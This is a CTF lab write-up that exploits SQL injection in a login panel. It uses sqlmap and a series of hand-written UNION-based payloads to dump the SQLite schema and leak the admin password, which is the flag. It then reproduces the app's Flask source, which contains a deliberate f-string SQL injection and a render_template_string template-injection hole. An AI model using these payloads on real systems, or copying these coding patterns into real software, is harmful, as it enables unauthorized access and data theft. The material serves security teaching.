Simple Web - 0x03(Lab - Normal Login Panel (Flag 1))
tags: CTF
Web
eductf
Challenge: https://login.ctf.zoolab.org/
Background
Source Code
Analysis
Exploit - SQLi
Easy way - SQLmap
$ ./sqlmap.py "https://login.ctf.zoolab.org/" --form -dbs sqlite --dump --risk=3 --level=5
...
---
Parameter: username (POST)
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: username='||(SELECT CHAR(116,86,90,89) WHERE 7681=7681 AND 7766=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&password=
---
Hard way - try&error
-
Check if it has
sqli
problem Payload:union'
-
Try union based Payload:
admin' union select 1 --
→ WRONG Payload:admin' union select 1,2 --
→ WRONG Payload:admin' union select 1,2,3 --
→ WRONG Payload:admin' union select 1,2,3,4 --
Obviously, it shows some info when select 4 values
- Must know the metadata
According to the author, it used
sqlite
as itsDBMS
. As kaibro cheat sheet爆表名 SELECT name FROM sqlite_master WHERE type=’table’
Then we can add this in our request Payload:
admin' union select 1,2,3,sql FROM sqlite_master WHERE type='table' --
Based on the info we leak, there’s a table named
users
with `id`, `username`, `password`,and `count` 4 columns - Leak password
Payload:
admin' union select 1,2,3,password FROM users --
Result
Then we got source code!!! :::spoiler code
from flask import Flask, request, render_template, render_template_string, send_file
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///app.db"
db.init_app(app)
with app.app_context():
db.session.execute("""
CREATE TABLE IF NOT EXISTS users(
id Integer PRIMARY KEY,
username String NOT NULL UNIQUE,
password String,
count Integer DEFAULT 0
);
""")
db.session.execute("INSERT OR REPLACE INTO users (username, password) VALUES ('admin', 'FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}')")
db.session.commit()
def login(greet):
if not greet:
return send_file('app.py', mimetype='text/plain')
else:
return render_template_string(f"Hello {greet}")
@app.route('/', methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template('index.html')
else:
username = request.form.get('username', '')
password = request.form.get('password', '')
error = ''
user = db.session.execute("SELECT username, password FROM users where username=:username", {"username":username}).first()
if user and user[1] == password:
return login(request.form.get('greet', ''))
elif not user:
error += "User doesn't exist! "
# New feature! count login failed event
db.session.execute("UPDATE users SET count = count + 1 WHERE username=:username", {"username": username})
db.session.commit()
count = db.session.execute(f"SELECT * FROM users WHERE username='{username}'").first() or [0, 0, 0, 0]
error += f'Login faild count: {count[3]}'
return render_template('index.html', error=error)
if __name__ == "__main__":
app.run(host="0.0.0.0")
:::